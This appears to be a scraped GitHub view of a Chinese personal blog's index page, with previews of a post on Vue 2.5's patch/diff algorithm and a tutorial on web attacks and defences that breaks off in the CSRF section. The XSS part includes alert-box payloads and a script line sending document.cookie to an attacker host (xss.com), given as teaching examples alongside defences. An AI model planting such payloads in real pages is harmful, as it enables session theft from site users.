-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
1734 lines (1151 loc) · 224 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge" >
<link rel="dns-prefetch" href="http://yoursite.com">
<link rel="stylesheet" href="//at.alicdn.com/t/font_643195_h8a10klmt9m2huxr.css">
<!-- <link rel="stylesheet" href="/./glightbox/glightbox.css">
<script src="/./glightbox/glightbox.min.js"></script>
<script src="/./glightbox/site.js"></script> -->
<link rel="stylesheet" href="/./lightbox/css/lightbox.css">
<script src="/./lightbox/js/jquery-3.3.1.min.js"></script>
<script src="/./lightbox/js/lightbox.js"></script>
<link rel="stylesheet" href="/./zoomify/zoomify.min.css">
<script src="/./zoomify/zoomify.min.js"></script>
<title>Jeffery的博客</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="description" content="前端开发工程师一枚">
<meta name="keywords" content="Jeffery">
<meta property="og:type" content="website">
<meta property="og:title" content="Jeffery的博客">
<meta property="og:url" content="http://yoursite.com/index.html">
<meta property="og:site_name" content="Jeffery的博客">
<meta property="og:description" content="前端开发工程师一枚">
<meta property="og:locale" content="default">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Jeffery的博客">
<meta name="twitter:description" content="前端开发工程师一枚">
<link rel="alternative" href="/atom.xml" title="Jeffery的博客" type="application/atom+xml">
<link rel="icon" href="/favicon.png">
<link rel="stylesheet" type="text/css" href="/./main.0cf68a.css">
<style type="text/css">
#container.show {
background: linear-gradient(200deg,#a0cfe4,#e8c37e);
}
</style>
</head>
<body>
<div id="container" q-class="show:isCtnShow">
<canvas id="anm-canvas" class="anm-canvas"></canvas>
<div class="left-col" q-class="show:isShow">
<div class="overlay" style="background: #4d4d4d"></div>
<div class="intrude-less">
<header id="header" class="inner">
<a href="/" class="profilepic">
<img src="/uploads/avatar.jpg" class="js-avatar">
</a>
<hgroup>
<h1 class="header-author"><a href="/">Jeffery</a></h1>
</hgroup>
<p class="header-subtitle">人无远虑、必有近忧</p>
<nav class="header-menu">
<ul>
<li>
<a href="/" style="color:#0593d3;">
<i class="icon-font icon-home" style="color:#0593d3; font-size: 20px; vertical-align: middle;display: inline-block;margin-right: 2px;"></i>
主页
</a>
</li>
<li>
<a href="/essay" style="color:#0593d3;">
<i class="icon-font icon-bi" style="color:#0593d3; font-size: 20px; vertical-align: middle;display: inline-block;margin-right: 2px;"></i>
随笔
</a>
</li>
<li>
<a href="/technology" style="color:#0593d3;">
<i class="icon-font icon-jishuwendang" style="color:#0593d3; font-size: 20px; vertical-align: middle;display: inline-block;margin-right: 2px;"></i>
技术
</a>
</li>
<li>
<a href="/album" style="color:#0593d3;">
<i class="icon-font icon-19" style="color:#0593d3; font-size: 20px; vertical-align: middle;display: inline-block;margin-right: 2px;"></i>
相册
</a>
</li>
<li>
<a href="/about" style="color:#0593d3;">
<i class="icon-font icon-guanyuwomen" style="color:#0593d3; font-size: 20px; vertical-align: middle;display: inline-block;margin-right: 2px;"></i>
关于
</a>
</li>
</ul>
</nav>
<nav class="header-smart-menu">
<a q-on="click: openSlider(e, 'innerArchive')" href="javascript:void(0)">所有文章</a>
<a q-on="click: openSlider(e, 'friends')" href="javascript:void(0)">友链</a>
<a q-on="click: openSlider(e, 'aboutme')" href="javascript:void(0)">关于我</a>
</nav>
<nav class="header-nav">
<div class="social">
<a class="github" target="_blank" href="#" title="github"><i class="icon-github"></i></a>
<a class="weibo" target="_blank" href="#" title="weibo"><i class="icon-weibo"></i></a>
<a class="rss" target="_blank" href="#" title="rss"><i class="icon-rss"></i></a>
<a class="zhihu" target="_blank" href="#" title="zhihu"><i class="icon-zhihu"></i></a>
</div>
</nav>
</header>
</div>
</div>
<div class="mid-col" q-class="show:isShow,hide:isShow|isFalse">
<nav id="mobile-nav">
<div class="overlay js-overlay" style="background: #4d4d4d"></div>
<div class="btnctn js-mobile-btnctn">
<div class="slider-trigger list" q-on="click: openSlider(e)"><i class="icon icon-sort"></i></div>
</div>
<div class="intrude-less">
<header id="header" class="inner">
<div class="profilepic">
<img src="/uploads/avatar.jpg" class="js-avatar">
</div>
<hgroup>
<h1 class="header-author js-header-author">Jeffery</h1>
</hgroup>
<p class="header-subtitle"><i class="icon icon-quo-left"></i>人无远虑、必有近忧<i class="icon icon-quo-right"></i></p>
<nav class="header-nav">
<div class="social">
<a class="github" target="_blank" href="#" title="github"><i class="icon-github"></i></a>
<a class="weibo" target="_blank" href="#" title="weibo"><i class="icon-weibo"></i></a>
<a class="rss" target="_blank" href="#" title="rss"><i class="icon-rss"></i></a>
<a class="zhihu" target="_blank" href="#" title="zhihu"><i class="icon-zhihu"></i></a>
</div>
</nav>
<nav class="header-menu js-header-menu">
<ul style="width: 70%">
<li style="width: 20%"><a href="/">主页</a></li>
<li style="width: 20%"><a href="/essay">随笔</a></li>
<li style="width: 20%"><a href="/technology">技术</a></li>
<li style="width: 20%"><a href="/album">相册</a></li>
<li style="width: 20%"><a href="/about">关于</a></li>
</ul>
</nav>
</header>
</div>
<div class="mobile-mask" style="display:none" q-show="isShow"></div>
</nav>
<div id="wrapper" class="body-wrap">
<div class="menu-l">
<div class="canvas-wrap">
<canvas data-colors="#eaeaea" data-sectionHeight="100" data-contentId="js-content" id="myCanvas1" class="anm-canvas"></canvas>
</div>
<div id="js-content" class="content-ll">
<article id="post-聊聊vue2.5的patch过程(diff算法)" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2019/04/09/聊聊vue2.5的patch过程(diff算法)/">聊聊vue2.5的patch过程(diff算法)</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2019/04/09/聊聊vue2.5的patch过程(diff算法)/" class="pageViews">0</span>次
</a>
<a href="/2019/04/09/聊聊vue2.5的patch过程(diff算法)/" class="archive-article-date">
<time datetime="2019-04-08T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2019-04-09</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>Vue2.0开始,引入了Virtual Dom,了解diff过程可以让我们更高效的使用框架,必要时可以进行手工优化,本文针对的是Vue2.5.7版本中的Virtual Dom进行分析,力求以图文并茂的方式来分析diff的过程。</p>
<p>其中patch过程中所用到的diff算法来源于<a href="https://github.com/snabbdom/snabbdom" target="_blank" rel="noopener">snabbdom</a></p>
<p>PS: 如有不对之处,还望指正。</p>
<h3 id="什么是VNode?"><a href="#什么是VNode?" class="headerlink" title="什么是VNode?"></a>什么是VNode?</h3><p>我们知道,浏览器中真实的DOM节点对象上的属性和方法比较多,如果每次都生成新的DOM对象,对性能是一种浪费,在这种情况下,Virtual Dom出现了,而VNode是用来模拟真实DOM节点,即把真实DOM树抽象成用JavaScript对象构成的抽象树,从而可以对这颗抽象树进行创建节点、删除节点以及修改节点等操作,在这过程中都不需要操作真实DOM,只需要操作JavaScript对象,当数据发生改变时,在改变真实DOM节点之前,会先比较相应的VNode的的数据,如果需要改变,才更新真实DOM,大大提升了性能。同时VNode不依赖平台。</p>
<p>具体可以通过以下代码查看标准DOM对象上的方法和属性<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> dom = <span class="built_in">document</span>.createElement(<span class="string">'div'</span>);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> key <span class="keyword">in</span> dom) {</span><br><span class="line"> <span class="built_in">console</span>.log(key)</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>VNode构造函数具体结构如下(具体见源码):<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> <span class="class"><span class="keyword">class</span> <span class="title">VNode</span> </span>{</span><br><span class="line"> tag: string | <span class="keyword">void</span>;</span><br><span class="line"> data: VNodeData | <span class="keyword">void</span>;</span><br><span class="line"> children: ?<span class="built_in">Array</span><VNode>;</span><br><span class="line"> text: string | <span class="keyword">void</span>;</span><br><span class="line"> elm: Node | <span class="keyword">void</span>;</span><br><span class="line"> ns: string | <span class="keyword">void</span>;</span><br><span class="line"> context: Component | <span class="keyword">void</span>; <span class="comment">// rendered in this component's scope</span></span><br><span class="line"> key: string | number | <span class="keyword">void</span>;</span><br><span class="line"> componentOptions: VNodeComponentOptions | <span class="keyword">void</span>;</span><br><span class="line"> componentInstance: Component | <span class="keyword">void</span>; <span class="comment">// component instance</span></span><br><span class="line"> parent: VNode | <span class="keyword">void</span>; <span class="comment">// component placeholder node</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// strictly internal</span></span><br><span class="line"> raw: boolean; <span class="comment">// contains raw HTML? (server only)</span></span><br><span class="line"> isStatic: boolean; <span class="comment">// hoisted static node</span></span><br><span class="line"> isRootInsert: boolean; <span class="comment">// necessary for enter transition check</span></span><br><span class="line"> isComment: boolean; <span class="comment">// empty comment placeholder?</span></span><br><span class="line"> isCloned: boolean; <span class="comment">// is a cloned node?</span></span><br><span class="line"> isOnce: boolean; <span class="comment">// is a v-once node?</span></span><br><span class="line"> asyncFactory: <span class="built_in">Function</span> | <span class="keyword">void</span>; <span class="comment">// async component factory function</span></span><br><span class="line"> asyncMeta: <span class="built_in">Object</span> | <span class="keyword">void</span>;</span><br><span class="line"> isAsyncPlaceholder: boolean;</span><br><span class="line"> ssrContext: <span class="built_in">Object</span> | <span class="keyword">void</span>;</span><br><span class="line"> fnContext: Component | <span class="keyword">void</span>; <span class="comment">// real context vm for functional nodes</span></span><br><span class="line"> fnOptions: ?ComponentOptions; <span class="comment">// for SSR caching</span></span><br><span class="line"> fnScopeId: ?string; <span class="comment">// functional scope id support</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<h3 id="mounted过程都发生了什么?"><a href="#mounted过程都发生了什么?" class="headerlink" title="mounted过程都发生了什么?"></a>mounted过程都发生了什么?</h3><p>在了解patch过程之前,先来大概了解下mounted过程,我们知道,Vue最终会调用$mounted方法来进行挂载。<br>一般来说,Vue有两条渲染路径,分别对应生命周期中mounted和updated两个钩子函数,分别如下:</p>
<h4 id="emsp-1)组件实例初始化创建生成DOM"><a href="#emsp-1)组件实例初始化创建生成DOM" class="headerlink" title=" 1)组件实例初始化创建生成DOM"></a> 1)组件实例初始化创建生成DOM</h4><p> 在该过程时,初始的Vnode为一个真实的DOM节点或者undefined(创建组件)</p>
<blockquote>
<p>$mounted => mountComponent => updateComponent => _render => _update => patch => createElm => nodeOps.insert => removeVnodes </p>
</blockquote>
<h4 id="emsp-1)组件数据更新时更新DOM"><a href="#emsp-1)组件数据更新时更新DOM" class="headerlink" title=" 1)组件数据更新时更新DOM"></a> 1)组件数据更新时更新DOM</h4><p> 在该过程,初始化Vnode为之前的prevVnode,不是真实DOM节点</p>
<blockquote>
<p>flushSchedulerQueue => watcher.run => watcher.get => updateComponent => _render => _update => patch => patchVnode => updateChildren</p>
</blockquote>
<p>其中,_render函数内部则是调用createElement方法将渲染函数转为VNode,而_update函数则是在内部调用patch方法将VNode转化为真实的DOM节点。</p>
<p>createElement和patch过程是一个深度遍历过程,也就是”先子后父”,即先调用子类的mounted或updated钩子方法,在调用父类的该钩子。</p>
<p>附上一张\$mounted流程图:</p>
<p><img src="images/technology/mounted.png" alt="\$mounted过程"></p>
<h3 id="patch原理分析"><a href="#patch原理分析" class="headerlink" title="patch原理分析"></a>patch原理分析</h3><p>patch过程也是一个深度遍历过程,比较只会在同层级进行,不会跨层级比较,借用一篇相当经典的文章<br><a href="https://calendar.perfplanet.com/2013/diff/" target="_blank" rel="noopener">React’s diff algorithm</a>中的图,图能很好的解释该过程,如下:</p>
<p><img src="images/technology/diff.png" alt="React’s diff algorith"><br>patch接收6个参数,其中两个主要参数是vnode和oldVnode,也就是新旧两个虚拟节点,下面详细介绍下patch过程</p>
<h4 id="1、patch逻辑"><a href="#1、patch逻辑" class="headerlink" title="1、patch逻辑"></a>1、patch逻辑</h4><p>1、如果vnode不存在,而oldVnode存在,则调用invodeDestoryHook进行销毁旧的节点<br><br>2、如果oldVnode不存在,而vnode存在,则调用createElm创建新的节点<br><br>3、如果oldVnode和vnode都存在<br><br>  1)如果oldVnode不是真实节点且和vnode是相同节点(调用sameVnode比较),则调用<font color="#f00">patchVnode</font>进行patch<br><br>  2)如果oldVnode是真实DOM节点,则先把真实DOM节点转为Vnode,再调用createElm创建新的DOM节点,并插入到真实的父节点中,同时调用removeVnodes将旧的节点从父节点中移除。<br></p>
<h4 id="2、patchVnode逻辑"><a href="#2、patchVnode逻辑" class="headerlink" title="2、patchVnode逻辑"></a>2、patchVnode逻辑</h4><p>1、如果vnode和oldVnode完全一致,则什么都不做处理,直接返回<br><br>2、如果oldVnode和vnode都是静态节点,且具有相同的key,并且当vnode是克隆节点或是v-once指令控制的节点时,只需要把oldVnode的elm和oldVnode.children都复制到vnode上即可<br><br>3、如果vnode不是文本节点或注释节点<br><br>  1)如果vnode的children和oldVnode的children都存在,且不完全相等,则调用<font color="#f00">updateChildren</font>更新子节点<br><br>  2)如果只有vnode存在子节点,则调用addVnodes添加这些子节点<br><br>  3)如果只有oldVnode存在子节点,则调用removeVnodes移除这些子节点<br><br>  4)如果oldVnode和vnode都不存在子节点,但是oldVnode为文本节点或注释节点,则把oldVnode.elm的文本内容置为空<br></p>
<p>4、如果vnode是文本节点或注释节点,并且vnode.text和oldVnode.text不相等,则更新oldVnode的文本内容为vnode.text</p>
<h4 id="3、updateChildren逻辑"><a href="#3、updateChildren逻辑" class="headerlink" title="3、updateChildren逻辑"></a>3、updateChildren逻辑</h4><p>updateChildren方法主要通过while循环去对比2棵树的子节点来更新dom,通过对比新的来改变旧的,以达到新旧统一的目的。</p>
<p>1、如果oldStartVnode不存在,则将oldStartVnode设置为下一个节点<br><br>2、如果oldEndVnode不存在,则将oldEndVnode设置为上一个节点<br><br>3、如果oldStartVnode和newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldStartVnode和newStartVnode设置为下一个节点<br><br>4、如果oldEndVnode和newEndVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldEndVnode和newEndVnode设置为上一个节点<br><br>5、如果oldStartVnode和newEndVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldStartVnode设置为下一个节点,newEndVnode设置为上一个节点,需要对DOM进行移动<br><br>6、如果oldEndVnode和newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时将oldEndVnode设置为上一个节点,newStartVnode设置为下一个节点,需要对DOM进行移动<br><br>7、否则,尝试在oldChildren中查找与newStartVnode具有相同key的节点<br><br>  1)如果没有找到,则说明newStartVnode是一个新节点,则调用createElem创建一个新节点,同时将newStartVnode设置为下一个节点<br><br>  2)如果找到了具有相同key的节点<br><br>   (1)如果找到的节点与newStartVnode是同一个节点(sameVnode),则调用patchVnode进行patch重复流程,同时把newStartVnode.elm移动到oldStartVnode.elm之前,并把newStartVnode设置为下一个节点,需要对DOM进行移动<br><br>   (2)否则,调用createElm创建一个新的节点,同时把newStartVnode设置为下一个节点<br></p>
<p>上述过程中,如果oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx,即oldChildren和newChildren节点在遍历过程中如果任意一个的开始索引和结束索引重合,则表明遍历结束。</p>
<p>遍历结束后,还需针对oldChildren和newChildren没有遍历的节点进行处理,分为以下两种情况:</p>
<p>1)如果oldStartIdx大于oldEndIdx,说明newChildren可能还未遍历完,则需要调用addVnodes添加newStartIdx到newEndIdx之间的节点<br><br>2)如果newStartIdx大于newEndIdx,说明oldChildren可能还未遍历完,则需要调用removeVnodes移除oldStartIdx到oldEndIdx之间的节点<br></p>
<p>附上一张流程图:</p>
<p><img src="images/technology/patch.png" alt="patch过程"><br>针对以上过程,对其中的各个情况都分别简单举个例子,进行分析,可以自行debugger</p>
<p><strong><em>情况一:oldStartVnode和newStartVnode是相同节点</em></strong></p>
<p><img src="images/technology/sutation1.png" alt="情况一"><br><strong><em>情况二:oldEndVnode和newEndVnode是相同节点</em></strong></p>
<p><img src="images/technology/sutation2.png" alt="情况二"><br><strong><em>情况三:oldStartVnode和newEndVnode是相同节点</em></strong></p>
<p><img src="images/technology/sutation3.png" alt="情况三"><br><strong><em>情况四:oldEndVnode和newStartVnode是相同节点</em></strong></p>
<p><img src="images/technology/sutation4.png" alt="情况四"><br><strong><em>情况五:oldStartVnode、oldEndVnode、newStartVnode和newEndVnode都不是相同节点</em></strong></p>
<p><img src="images/technology/sutation5.png" alt="情况五"><br>附上总图:</p>
<p><img src="images/technology/sutation1.png" alt="总图"></p>
<h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>1、不设key,newCh和oldCh只会进行头尾两端的相互比较,设key后,除了头尾两端的比较外,还会从用key生成的对象oldKeyToIdx中查找匹配的节点,所以为节点设置key可以更高效的利用dom。</p>
<p>2、diff的遍历过程中,只要是对dom进行的操作都调用nodeOps.insertBefore,nodeOps.insertBefore只是原生insertBefore的简单封装。<br><br>比较分为两种,一种是有vnode.key的,一种是没有的。但这两种比较对真实dom的操作是一致的。</p>
<p>3、对于与sameVnode(oldStartVnode, newStartVnode)和sameVnode(oldEndVnode,newEndVnode)为true的情况,不需要对dom进行移动。</p>
</div>
<div class="article-info article-info-index">
<div class="article-tag tagcloud">
<i class="icon-price-tags icon"></i>
<ul class="article-tag-list">
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color4">vue</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">vnode</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color1">patch</a>
</li>
<li class="article-tag-list-item">
<a href="javascript:void(0)" class="js-tag article-tag-list-link color5">diff</a>
</li>
</ul>
</div>
<p class="article-more-link">
<a class="article-more-a" href="/2019/04/09/聊聊vue2.5的patch过程(diff算法)/">展开全文 >></a>
</p>
<div class="clearfix"></div>
</div>
</div>
</article>
<aside class="wrap-side-operation">
<div class="mod-side-operation">
<div class="jump-container" id="js-jump-container" style="display:none;">
<a href="javascript:void(0)" class="mod-side-operation__jump-to-top">
<i class="icon-font icon-back"></i>
</a>
<div id="js-jump-plan-container" class="jump-plan-container" style="top: -11px;">
<i class="icon-font icon-plane jump-plane"></i>
</div>
</div>
</div>
</aside>
<script>
$('.blog-check img').zoomify();
</script>
<article id="post-常见的Web安全及其攻防姿势" class="article article-type-post article-index" itemscope itemprop="blogPost">
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2019/04/01/常见的Web安全及其攻防姿势/">常见的Web安全及其攻防姿势</a>
</h1>
<a href="javascript:;" class="archive-article-date">
<i class="icon-smile icon"></i> 阅读数:<span id="/2019/04/01/常见的Web安全及其攻防姿势/" class="pageViews">0</span>次
</a>
<a href="/2019/04/01/常见的Web安全及其攻防姿势/" class="archive-article-date">
<time datetime="2019-03-31T16:00:00.000Z" itemprop="datePublished"><i class="icon-calendar icon"></i>2019-04-01</time>
</a>
</header>
<!-- 目录内容 -->
<!-- 目录内容结束 -->
<div class="article-entry blog-check" itemprop="articleBody">
<p>总结一下Web相关的安全攻防知识,让自己对这个知识点多一点了解,下面来聊聊Web中最常见的几种安全问题,包括攻击类型、原理以及怎样防御等。</p>
<h3 id="1、XSS漏洞"><a href="#1、XSS漏洞" class="headerlink" title="1、XSS漏洞"></a>1、XSS漏洞</h3><blockquote>
<p>XSS(Cross Site Scripting)跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,往Web页面中插入了恶意的script代码,当用户浏览该页面时,嵌入Web页面中的script代码便会执行,从而达到恶意攻击用户的目的。</p>
</blockquote>
<p>原因:过于信任客户端提交的数据。<br>XSS攻击也可以简单分为两种,一种是利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。</p>
<h4 id="emsp-1)非持久型XSS(反射型XSS)"><a href="#emsp-1)非持久型XSS(反射型XSS)" class="headerlink" title=" 1)非持久型XSS(反射型XSS)"></a> 1)非持久型XSS(反射型XSS)</h4><blockquote>
<p>主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击,如盗取用户信息或其他侵犯用户隐私安全等,一般是通过别人发送的带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数会被HTML解析、执行。一般容易出现在搜索页面。</p>
</blockquote>
<p> 过程图如下:<br> <img src="images/technology/XSS.png" alt="非持久型XSS过程"><br> <strong><em>e.g1:</em></strong></p>
<p> 正常发送消息:<br><br> <a href="http://www.test.com/message.php?send=Hello,World!" target="_blank" rel="noopener">www.test.com/message.php?send=Hello,World!</a><br><br> 接收者将会接收信息并显示Hello,Word<br><br> 非正常发送消息:<br><br> <a href="http://www.test.com/message.php?send=" target="_blank" rel="noopener">www.test.com/message.php?send=</a><script>alert(‘foolish!’)</script>!<br><br> 接收者接收消息显示的时候将会弹出警告窗口<br></p>
<p> <strong><em>e.g2:</em></strong></p>
<p> 如果某网站上页面中有一个文本框,输入后作为参数跳转另一个地址:<br> <figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><input type=<span class="string">"text"</span> name=<span class="string">'keywords'</span> value=<span class="string">""</span>></span><br></pre></td></tr></table></figure></p>
<p> 在页面上输入如下代码:<script>window.location.href=’<a href="http://www.xss.com?cookie='" target="_blank" rel="noopener">www.xss.com?cookie='</a> + document.cookie</script></p>
<p> 或者直接让用户访问该网站地址,而keywords参数为”\<script\>window.location.href=’<a href="http://www.xss.com?cookie='" target="_blank" rel="noopener">www.xss.com?cookie='</a> + document.cookie\</script\>”</p>
<p> 如果受骗的用户刚好已经登录过该网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。</p>
<p> 如何防范:</p>
<p> 1)只允许用户输入我们期望的数据。<br><br> 2)Web页面渲染的所有内容或者渲染的数据都必须来自于服务端,不要信任用户的输入内容。<br><br> 3)尽量不要使用eval, new Function()等可执行字符串的方法。<br><br> 4)前端渲染的时候对任何的字段都需要做encode转义编码。<br><br> 5)过滤或移除特殊的Html标签。<br><br> 6)将重要的cookie标记为http only。<br></p>
<h4 id="emsp-2)持久型XSS(储存型XSS)"><a href="#emsp-2)持久型XSS(储存型XSS)" class="headerlink" title=" 2)持久型XSS(储存型XSS)"></a> 2)持久型XSS(储存型XSS)</h4><blockquote>
<p>存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内),不需要诱骗用户点击。</p>
</blockquote>
<p> <strong><em>e.g:</em></strong></p>
<p> 留言板表单中的表单域:<br> <figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><input type=“text” name=“content” value=“这里是用户填写的数据”></span><br></pre></td></tr></table></figure></p>
<p> 正常操作:<br><br> 用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。<br><br> 非正常操作:<br><br> 攻击者在value填写<script>alert(‘foolish!’)</script>;<br><br> 将数据存储到数据库中;<br><br> 其他用户取出数据显示的时候,将会执行这些攻击性代码。<br></p>
<p> 如何防范:</p>
<p> 1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。<br><br> 2)后端在输出给前端数据统一进行转义处理。<br><br> 3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。<br></p>
<blockquote>
</blockquote>
<p>如何防范:对于一切用户的输入、输出、客户端的输出内容视为不可信,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。</p>
<h3 id="2、CSRF攻击"><a href="#2、CSRF攻击" class="headerlink" title="2、CSRF攻击"></a>2、CSRF攻击</h3><blockquote>
<p>CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。但往往同XSS一同作案!</p>
</blockquote>
<p>例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。</p>
